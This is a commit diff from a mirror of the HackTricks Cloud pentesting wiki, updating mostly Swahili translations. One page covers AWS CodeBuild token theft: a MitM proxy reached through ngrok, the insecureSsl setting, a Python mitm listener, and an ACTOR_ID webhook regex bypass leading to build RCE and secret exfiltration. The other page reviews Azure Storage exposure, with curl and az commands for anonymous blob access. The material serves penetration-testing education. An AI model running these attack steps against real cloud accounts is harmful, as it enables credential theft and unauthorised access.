mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+38
-38
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Rejesha Tokens za Github/Bitbucket Zilizosanidiwa
|
||||
## Rejesha Github/Bitbucket Configured Tokens
|
||||
|
||||
Kwanza, angalia kama kuna source credentials zilizosanidiwa ambazo unaweza leak:
|
||||
```bash
|
||||
@@ -10,39 +10,39 @@ aws codebuild list-source-credentials
|
||||
```
|
||||
### Kupitia Docker Image
|
||||
|
||||
Ikiwa utagundua kuwa authentication kwa mfano Github imewekwa kwenye akaunti, unaweza **exfiltrate** huo **ufikiaji** (**GH token or OAuth token**) kwa kufanya Codebuild itumie **docker image** maalum ili kukimbia build ya project.
|
||||
Ikiwa unagundua kwamba uthibitishaji, kwa mfano kwa Github, umewekwa kwenye akaunti, unaweza **exfiltrate** ile **access** (**GH token or OAuth token**) kwa kufanya Codebuild **itumie an specific docker image** kuendesha build ya mradi.
|
||||
|
||||
Kwa madhumuni haya unaweza **unda project mpya ya Codebuild** au kubadilisha **mazingira** ya ile iliyopo ili kuweka **Docker image**.
|
||||
Kwa madhumuni haya unaweza **create a new Codebuild project** au kubadilisha **environment** ya ile iliyopo ili kuweka **Docker image**.
|
||||
|
||||
The Docker image unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image ya msingi itakayoweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kuingilia sehemu kubwa ya trafiki ya host iliyotajwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyotajwa katika **`SSL_CERT_FILE`**.
|
||||
The Docker image unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image ya msingi itakayoweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kunasa sehemu kubwa ya trafiki ya host inayotajwa katika **`https_proxy`** na **`http_proxy`** na kuiamini SSL CERT inayotajwa katika **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Tengeneza & Pakia Docker MitM image yako**
|
||||
- Fuata maelekezo ya repo ili kuweka anwani ya IP ya proxy yako na kuweka SSL cert yako na **jenga docker image**.
|
||||
- **DO NOT SET `http_proxy`** ili kuepuka kuingilia maombi kuelekea metadata endpoint.
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Fuata maelekezo ya repo ili kuweka proxy IP yako na kuweka SSL cert yako na **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** ili usinasa requests kwa metadata endpoint.
|
||||
- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` ili kuweka proxy kwa host yako
|
||||
- Mara utakapo jenga Docker image, **pakia kwenye repo ya umma** (Dockerhub, ECR...)
|
||||
2. **Weka mazingira**
|
||||
- Unda **project mpya ya Codebuild** au **badilisha** mazingira ya ile iliyopo.
|
||||
- Weka project itumie **Docker image uliyoitengeneza hapo awali**
|
||||
- Mara ukiwa umejenga Docker image, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Create a **new Codebuild project** au **modify** environment ya ile iliyopo.
|
||||
- Set the project itumie **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Sanidi MitM proxy kwenye host yako**
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- Kama ilivyoonyeshwa katika **Github repo** unaweza kutumia kitu kama:
|
||||
- Kama ilivyoonyeshwa kwenye the **Github repo** unaweza kutumia kitu kama:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Toleo la **mitmproxy 9.0.1** lililotumika; imeripotiwa kwamba kwa toleo 10 hii inaweza isifanye kazi.
|
||||
> Toleo la **mitmproxy lililotumika lilikuwa 9.0.1**, iliripotiwa kwamba kwa toleo 10 hii huenda isifanye kazi.
|
||||
|
||||
4. **Endesha build & capture the credentials**
|
||||
4. **Endesha build & kunasa credentials**
|
||||
|
||||
- Unaweza kuona token katika kichwa cha **Authorization**:
|
||||
- Unaweza kuona token kwenye kichwa cha **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hii pia inaweza kufanywa kupitia aws cli kwa kitu kama
|
||||
Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Kupitia insecureSSL
|
||||
|
||||
Miradi ya **Codebuild** yana mpangilio uitwao **`insecureSsl`** ambao umefichwa kwenye web; unaweza kuubadilisha tu kupitia API.\
|
||||
Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua cheti** kinachotolewa na jukwaa.
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua certificate** inayotolewa na jukwaa.
|
||||
|
||||
- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kitu kama:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Kisha, kwa taarifa zilizokusanywa unaweza kusasisha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyosasisha mradi, zingatia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa usanidi uliokusanywa).
|
||||
- Zaidi ya hayo, ongeza pia vigezo vya mazingira **http_proxy** na **https_proxy** vinavyoelekeza kwa tcp ngrok yako kama:
|
||||
- Kisha, kwa taarifa ulizokusanya unaweza kusasisha mpangilio wa mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyokusasisha mradi; angalia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa mipangilio iliyokusanywa).
|
||||
- Zaidi ya hayo, ongeza pia vigezo vya mazingira **http_proxy** na **https_proxy** vinavyoelekeza kwenye tcp ngrok yako kama:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyoonyeshwa na proxy variables (http_proxy na https_proxy)
|
||||
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyoonyeshwa na vigezo vya proxy (http_proxy na https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Mwisho, bonyeza kwenye **Build the project**, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwenye port ya mitm:
|
||||
- Hatimaye, bonyeza kwenye **Jenga mradi**, **credentials** zitatumwa kwa **clear text** (base64) kwa mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Kupitia HTTP protocol~~
|
||||
### ~~Kupitia protokoli ya HTTP~~
|
||||
|
||||
> [!TIP] > **This vulnerability ilirekebishwa na AWS katika wiki ya 20 Februari 2023 (nadhani Ijumaa). Kwa hivyo mshambuliaji hawezi kuutilia mbinu tena :)**
|
||||
> [!TIP] > **Hitilafu hii ilirekebishwa na AWS wakati fulani wiki ya 20th of Feb of 2023 (nadhani Ijumaa). Kwa hivyo mshambuliaji hawezi kuitumia tena :)**
|
||||
|
||||
Mshambuliaji mwenye **idhini iliyoongezeka katika CodeBuild anaweza leak token ya Github/Bitbucket** iliyowekwa, au ikiwa idhini ilianzishwa kupitia OAuth, **token ya muda ya OAuth inayotumiwa kufikia code**.
|
||||
Mshambuliaji mwenye **idhini iliyoongezeka ndani ya CodeBuild anaweza leak the Github/Bitbucket token** iliyosanidiwa au ikiwa idhini ilisanidiwa kupitia OAuth, **temporary OAuth token used to access the code**.
|
||||
|
||||
- Mshambuliaji anaweza kuongeza environment variables **http_proxy** na **https_proxy** kwenye project ya CodeBuild ikielekeza kwa mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -144,8 +144,8 @@ Mshambuliaji mwenye **idhini iliyoongezeka katika CodeBuild anaweza leak token y
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Kisha, badilisha URL ya github repo kutumia HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye port iliyoonyeshwa na proxy variables (http_proxy na https_proxy)
|
||||
- Kisha, badilisha URL ya GitHub repo ili itumie HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyoonyeshwa na proxy variables (http_proxy and https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Ifuatayo, bonyeza **Build the project** au anzisha ujenzi kutoka mstari wa amri:
|
||||
- Ifuatayo, bonyeza **Jenga mradi** au anza ujenzi kutoka kwa mstari wa amri:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Hatimaye, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwa port ya mitm:
|
||||
- Mwishowe, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwenye port ya mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Sasa mshambuliaji ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha ruhusa zote anazomiliki na (ab)use kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
|
||||
> Sasa attacker ataweza kutumia token kutoka kwenye mashine yake, orodhesha haki zote alizo nazo na (ab)use kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
Webhook za GitHub za CodeBuild zilizosanidiwa vibaya ambazo zinatumia `ACTOR_ID` regexes zisizo na anchoring zinaruhusu PR zisizoaminika kuanzisha privileged builds. Ikiwa allowlist ni kama `123456|7890123` bila `^`/`$`, ID yoyote yenye mojawapo ya sehemu hizo ndogo itafanana. Kwa kuwa GitHub user IDs ni mfululizo, mshambuliaji anaweza kukimbilia kujiandikisha kupata ID ya “eclipsing” (superstring ya ID ya kuaminika) na kuanzisha build.
|
||||
CodeBuild GitHub webhooks zilizopangwa vibaya zinazotumia `ACTOR_ID` regexes zisizo na anchors zinawaacha PRs zisizokuwa za kuaminika kuanzisha privileged builds. Ikiwa allowlist ni kama `123456|7890123` bila `^`/`$`, ID yoyote yenye mojawapo ya substrings hizo itaendana. Kwa kuwa GitHub user IDs ni mfululizo, attacker anaweza kukimbizana kusajili ID "eclipsing" (superstring ya trusted ID) na kusababisha build.
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Tafuta public CodeBuild projects zinazoonyesha webhook filters na chukua allowlist ya `ACTOR_ID` isiyo na anchoring.
|
||||
1. Pata public CodeBuild projects zinazoonyesha webhook filters na toa `ACTOR_ID` allowlist isiyo na anchor.
|
||||
2. Pata eclipsing GitHub ID:
|
||||
- Sampuli kaunter ya global ID kwa kuunda/kufuta GitHub orgs (org IDs zinashirikiana katika pool).
|
||||
- Weka tayari uundaji wa manifest nyingi za GitHub App na zipige confirmation URLs wakati kaunter iko ndani ya takriban ~100 IDs za lengo ili kujiandikisha kwa wingi bot ID yenye substring ya kuaminika.
|
||||
3. Fungua PR kutoka kwa account ya eclipsing; regex inalingana na substring na privileged build inafanywa.
|
||||
4. Tumia build RCE (mfano, dependency install hooks) kutoa memory ya process inayoshughulikia GitHub credential na kupata PAT/OAuth token.
|
||||
5. Kwa kutumia token yenye `repo` scope, mkaribishe account yako kama collaborator/admin na push/approve malicious commits au exfiltrate secrets.
|
||||
- Sampulia global ID counter kwa kuunda/kufuta GitHub orgs (org IDs zinashiriki pool).
|
||||
- Pre-stage creations nyingi za GitHub App manifest na fire confirmation URLs wakati counter iko ndani ya ~100 IDs za lengo ili burst-register bot ID inayojumuisha trusted substring.
|
||||
3. Fungua PR kutoka kwa account ya eclipsing; regex inafanana na substring na privileged build inaendeshwa.
|
||||
4. Tumia build RCE (mfano, dependency install hooks) ku-dump process memory inayoshughulikia GitHub credential na kurecover PAT/OAuth token.
|
||||
5. Kwa token yenye `repo` scope, mwalike account yako kama collaborator/admin na push/approve commits za uharibifu au exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
@@ -2,74 +2,74 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Taarifa za Msingi
|
||||
## Maelezo ya Msingi
|
||||
|
||||
Azure Storage Accounts ni huduma za msingi kwenye Microsoft Azure zinazotoa **storage inayoweza kupanuka, salama, na yenye upatikanaji mkubwa** kwa aina mbalimbali za data, ikiwa ni pamoja na blobs (binary large objects), files, queues, na tables. Zinatumika kama containers zinazokusanya huduma hizi za storage tofauti chini ya namespace moja kwa usimamizi rahisi.
|
||||
Azure Storage Accounts ni huduma za msingi katika Microsoft Azure zinazotoa inayoweza kupanuka, salama, na inayopatikana kwa urahisi kwa wingu kwa **storage kwa aina mbalimbali za data**, ikijumuisha blobs (binary large objects), files, queues, na tables. Zinatumika kama makontena yanayokusanya huduma hizi tofauti za storage pamoja chini ya namespace moja kwa usimamizi rahisi.
|
||||
|
||||
**Chaguzi kuu za usanidi**:
|
||||
|
||||
- Kila storage account lazima iwe na **jina la kipekee kwenye Azure yote**.
|
||||
- Kila storage account inawekwa katika **mkoa** au katika Azure extended zone
|
||||
- Kila storage account lazima iwe na **jina la kipekee kote Azure**.
|
||||
- Kila storage account inawekwa katika **mkoa (region)** au katika Azure extended zone
|
||||
- Inawezekana kuchagua toleo la **premium** la storage account kwa utendaji bora
|
||||
- Inawezekana kuchagua kati ya **aina 4 za redundancy za kulinda** dhidi ya kushindwa kwa rack, drive na datacenter.
|
||||
- Inawezekana kuchagua miongoni mwa **aina 4 za redundancy ili kulinda** dhidi ya rack, drive na datacenter **mashindwa**.
|
||||
|
||||
**Chaguzi za usanidi wa usalama**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Inaleta TLS kwa mawasiliano yote na storage
|
||||
- **Allows enabling anonymous access on individual containers**: Ikiwa haijaruhusiwa, haitakuwa inawezekana kuwezesha anonymous access baadaye
|
||||
- **Enable storage account key access**: Ikiwa haijaruhusiwa, ufikiaji kwa Shared Keys utakatazwa
|
||||
- **Require secure transfer for REST API operations**: Inahitaji TLS katika mawasiliano yoyote na storage
|
||||
- **Allows enabling anonymous access on individual containers**: Iwapo haitumiki, haitakuwa inawezekana kuwezesha anonymous access baadaye
|
||||
- **Enable storage account key access**: Iwapo haitumiki, ufikiaji kwa Shared Keys utafungiwa
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Ruhusu kutoka kwenye storage account yoyote, kutoka kwenye storage account yoyote kutoka kwa Entra tenant ileile au kutoka kwenye storage account yenye private endpoints kwenye virtual network ileile.
|
||||
- **Permitted scope for copy operations**: Ruhusu kutoka kwa storage account yoyote, kutoka kwa storage account yoyote kutoka Entra tenant ile ile au kutoka storage account zilizo na private endpoints katika virtual network ile ile.
|
||||
|
||||
**Chaguzi za Blob Storage**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (data inayofikiwa mara kwa mara), Cool na Cold (data inayofikiwa nadra)
|
||||
- **Access tier**: Hot (data zinazofikiwa mara kwa mara), Cool na Cold (data zinazofikiwa nadra)
|
||||
|
||||
**Chaguzi za Networking**:
|
||||
**Chaguzi za mtandao**:
|
||||
|
||||
- **Network access**:
|
||||
- Ruhusu kutoka mitandao yote
|
||||
- Ruhusu kutoka virtual networks na anwani za IP zilizochaguliwa
|
||||
- Zima public access na tumia private access
|
||||
- **Private endpoints**: Inaruhusu muunganisho binafsi kwa storage account kutoka virtual network
|
||||
- **Private endpoints**: Inaruhusu muunganisho wa kibinafsi kwenda storage account kutoka virtual network
|
||||
|
||||
**Chaguzi za ulinzi wa data**:
|
||||
|
||||
- **Point-in-time restore for containers**: Inaruhusu kurejesha containers hadi hali ya awali
|
||||
- Inahitaji versioning, change feed, na blob soft delete ziwe zimeshazwa.
|
||||
- **Enable soft delete for blobs**: Inawasifu kipindi cha retention kwa siku kwa blobs zilizofutwa (hata zile zilizopigwa overwrite)
|
||||
- **Enable soft delete for containers**: Inawasifu kipindi cha retention kwa siku kwa containers zilizofutwa
|
||||
- **Enable soft delete for file shares**: Inawasifu kipindi cha retention kwa siku kwa file shares zilizofutwa
|
||||
- **Enable versioning for blobs**: Hifadhi toleo za awali za blobs zako
|
||||
- **Enable blob change feed**: Hifadhi logu za kuunda, kuhariri, na kufuta mabadiliko kwa blobs
|
||||
- **Enable version-level immutability support**: Inakuruhusu kuweka sera ya retention ya muda kwa kiwango cha account ambayo itawezekana kwa toleo zote za blob.
|
||||
- Version-level immutability support na point-in-time restore for containers haiwezi kuwezeshwa kwa wakati mmoja.
|
||||
- Inahitaji versioning, change feed, na blob soft delete ziwe zimewezeshwa.
|
||||
- **Enable soft delete for blobs**: Inawezesha kipindi cha retention kwa siku kwa blobs zilizofutwa (hata zilizofunikwa)
|
||||
- **Enable soft delete for containers**: Inawezesha kipindi cha retention kwa siku kwa containers zilizofutwa
|
||||
- **Enable soft delete for file shares**: Inawezesha kipindi cha retention kwa siku kwa file shares zilizofutwa
|
||||
- **Enable versioning for blobs**: Hifadhi matoleo yaliyotangulia ya blobs zako
|
||||
- **Enable blob change feed**: Hifadhi logs za kuunda, kuhariri, na kufuta mabadiliko ya blobs
|
||||
- **Enable version-level immutability support**: Inakuwezesha kuweka sera ya retention kwa msingi wa muda kwenye ngazi ya account ambayo itahusisha matoleo yote ya blob.
|
||||
- Version-level immutability support na point-in-time restore for containers haiwezi kuwezeshwa wakati mmoja.
|
||||
|
||||
**Chaguzi za encryption**:
|
||||
**Chaguzi za usanidi wa encryption**:
|
||||
|
||||
- **Encryption type**: Inawezekana kutumia Microsoft-managed keys (MMK) au Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Inaruhusu kujaza data kwa encryption mara mbili "kwa usalama zaidi"
|
||||
- **Enable infrastructure encryption**: Inaruhusu ku-encrypt mara mbili data "kwa usalama zaidi"
|
||||
|
||||
### Storage endpoints
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Public Exposure
|
||||
### Ufunuliwa kwa Umma
|
||||
|
||||
Ikiwa "Allow Blob public access" imewezeshwa (imezimwa kwa default), wakati wa kuunda container inawezekana:
|
||||
Iwapo "Allow Blob public access" iko **enabled** (imezimwa kwa default), wakati wa kuunda container inawezekana:
|
||||
|
||||
- Kutoa **public access to read blobs** (inahitaji kujua jina).
|
||||
- **List container blobs** na **read** hizo.
|
||||
- Fanya kuwa kabisa **private**
|
||||
- Kutoa **ufikiaji wa umma wa kusoma blobs** (unahitaji kujua jina).
|
||||
- **Orodhesha blobs za container** na **zisome**.
|
||||
- Kufanya iwe kabisa **private**
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Static website (`$web`) exposure & leaked secrets
|
||||
### Ufichuzi wa tovuti static (`$web`) & leaked secrets
|
||||
|
||||
- **Static websites** hutolewa kutoka kwa container maalumu `$web` juu ya endpoint maalumu kwa mkoa kama `https://<account>.z13.web.core.windows.net/`.
|
||||
- Container ya `$web` inaweza kuripoti `publicAccess: null` kupitia blob API, lakini faili bado zinaweza kupatikana kupitia static site endpoint, hivyo kuacha artifacts za config/IaC huko kunaweza kusababisha leaked secrets.
|
||||
- Quick audit workflow:
|
||||
- **Static websites** hutolewa kutoka kwenye container maalum `$web` kupitia endpoint ya eneo kama `https://<account>.z13.web.core.windows.net/`.
|
||||
- Container ya `$web` inaweza kuripoti `publicAccess: null` kupitia blob API, lakini faili bado zinapatikana kupitia static site endpoint, hivyo kuacha artifacts za config/IaC huko kunaweza leak secrets.
|
||||
- Mchakato wa ukaguzi wa haraka:
|
||||
```bash
|
||||
# Identify storage accounts with static website hosting enabled
|
||||
az storage blob service-properties show --account-name <acc-name> --auth-mode login
|
||||
@@ -80,53 +80,53 @@ az storage blob list --container-name '$web' --account-name <acc-name> --auth-mo
|
||||
# Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS)
|
||||
az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name <acc-name> --auth-mode login
|
||||
```
|
||||
### Ukaguzi wa uwazi wa blob zisizo za jina
|
||||
### Ukaguzi wa kufichuliwa kwa blob isiyojulikana
|
||||
|
||||
- **Gundua akaunti za kuhifadhi** ambazo zinaweza kuonyesha data: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Ikiwa `allowBlobPublicAccess` ni `false` huwezi kufanya containers kuwa za umma.
|
||||
- **Kagua akaunti hatarishi** ili kuthibitisha bendera na mipangilio mingine dhaifu: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Orodhesha uwekaji wazi kwa ngazi ya container** kwenye akaunti ambapo bendera imewezeshwa:
|
||||
- **Tafuta storage accounts** ambazo zinaweza kufichua data: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Kama `allowBlobPublicAccess` ni `false` huwezi kufanya containers kuwa za umma.
|
||||
- **Kagua accounts zenye hatari** ili kuthibitisha alama na mipangilio mingine dhaifu: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Orodhesha kufichuliwa kwa ngazi ya container** ambapo alama imewezeshwa:
|
||||
```bash
|
||||
az storage container list --account-name <acc> \
|
||||
--query '[].{name:name, access:properties.publicAccess}'
|
||||
```
|
||||
- `"Blob"`: anonymous reads zinazoruhusiwa **tu wakati jina la blob linajulikana** (hakuna listing).
|
||||
- `"Container"`: anonymous **list + read** ya kila blob.
|
||||
- `null`: binafsi; authentication inahitajika.
|
||||
- **Thibitisha upatikanaji** bila credentials:
|
||||
- "Blob": anonymous reads kuruhusiwa **tu wakati jina la blob linajulikana** (hakuna listing).
|
||||
- "Container": anonymous **list + read** ya kila blob.
|
||||
- `null`: binafsi; uthibitisho unahitajika.
|
||||
- **Thibitisha ufikiaji** bila credentials:
|
||||
- Ikiwa `publicAccess` ni `Container`, anonymous listing inafanya kazi: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- Kwa zote `Blob` na `Container`, anonymous blob download inafanya kazi wakati jina linajulikana:
|
||||
- Kwa `Blob` na `Container`, anonymous blob download inafanya kazi wakati jina linajulikana:
|
||||
```bash
|
||||
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
|
||||
# or via raw HTTP
|
||||
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
|
||||
```
|
||||
### Ungana na Storage
|
||||
### Unganisha kwenye Storage
|
||||
|
||||
Kama utapata **storage** yoyote unayoweza kuungana nayo, unaweza kutumia zana [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) kufanya hivyo.
|
||||
Ikiwa utakutana na **storage** unayoweza kuunganishwa, unaweza kutumia zana [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) kufanya hivyo.
|
||||
|
||||
## Ufikiaji wa Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## Upatikanaji wa Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
Inawezekana kutumia Entra ID principals pamoja na **RBAC roles** kupata ufikiaji wa storage accounts, na hii ndiyo njia inayopendekezwa.
|
||||
Inawezekana kutumia Entra ID principals pamoja na **RBAC roles** kufikia storage accounts; hii ndiyo njia inayopendekezwa.
|
||||
|
||||
### Access Keys
|
||||
|
||||
Storage accounts zina access keys ambazo zinaweza kutumika kuzipata. Hii inatoa f**ull access to the storage account.**
|
||||
Storage accounts zina access keys zinazoweza kutumika kuzipata. Hii inatoa f**ull access to the storage account.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
|
||||
Inawezekana [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) zilizotiwa saini na access keys ili kuruhusu ufikiaji wa rasilimali fulani kupitia signed URL.
|
||||
Inawezekana [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) zilisainiwa na access keys ili kuidhinisha upatikanaji kwa rasilimali fulani kupitia signed URL.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba sehemu ya `CanonicalizedResource` inaonyesha rasilimali ya storage services (URI). Na ikiwa sehemu yoyote ya URL imekodishwa (encoded), inapaswa pia kukodishwa ndani ya `CanonicalizedResource`.
|
||||
> Kumbuka kwamba sehemu ya `CanonicalizedResource` inawakilisha rasilimali ya storage services (URI). Na ikiwa sehemu yoyote ya URL imekodishwa, inapaswa pia kukodishwa ndani ya `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> Hii ni **imetumiwa kwa chaguo-msingi na `az` cli** kuthibitisha maombi. Ili kufanya itumie Entra ID principal credentials, taja param `--auth-mode login`.
|
||||
> Hii **inatumika kwa chaguo-msingi na `az` cli** kuthibitisha maombi. Ili kuitumia kwa credentials za Entra ID principal, taja param `--auth-mode login`.
|
||||
|
||||
- Inawezekana kuunda a **shared key for blob, queue and file services** kwa kusaini taarifa zifuatazo:
|
||||
- Inawezekana kuunda **shared key for blob, queue and file services** kwa kusaini taarifa zifuatazo:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
@@ -143,7 +143,7 @@ Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Inawezekana kutengeneza **funguo ya pamoja kwa huduma za jedwali** kwa kusaini taarifa zifuatazo:
|
||||
- Inawezekana kuunda **shared key for table services** kwa kusaini taarifa zifuatazo:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -165,7 +165,7 @@ CanonicalizedResource;
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
```
|
||||
Kisha, ili kutumia key, inaweza kufanywa katika Authorization header kwa kufuata sintaksia:
|
||||
Kisha, ili kutumia key, inaweza kuwekwa katika kichwa cha Authorization kwa kufuata sintaksia:
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
@@ -179,70 +179,70 @@ Content-Length: 0
|
||||
```
|
||||
### **Shared Access Signature** (SAS)
|
||||
|
||||
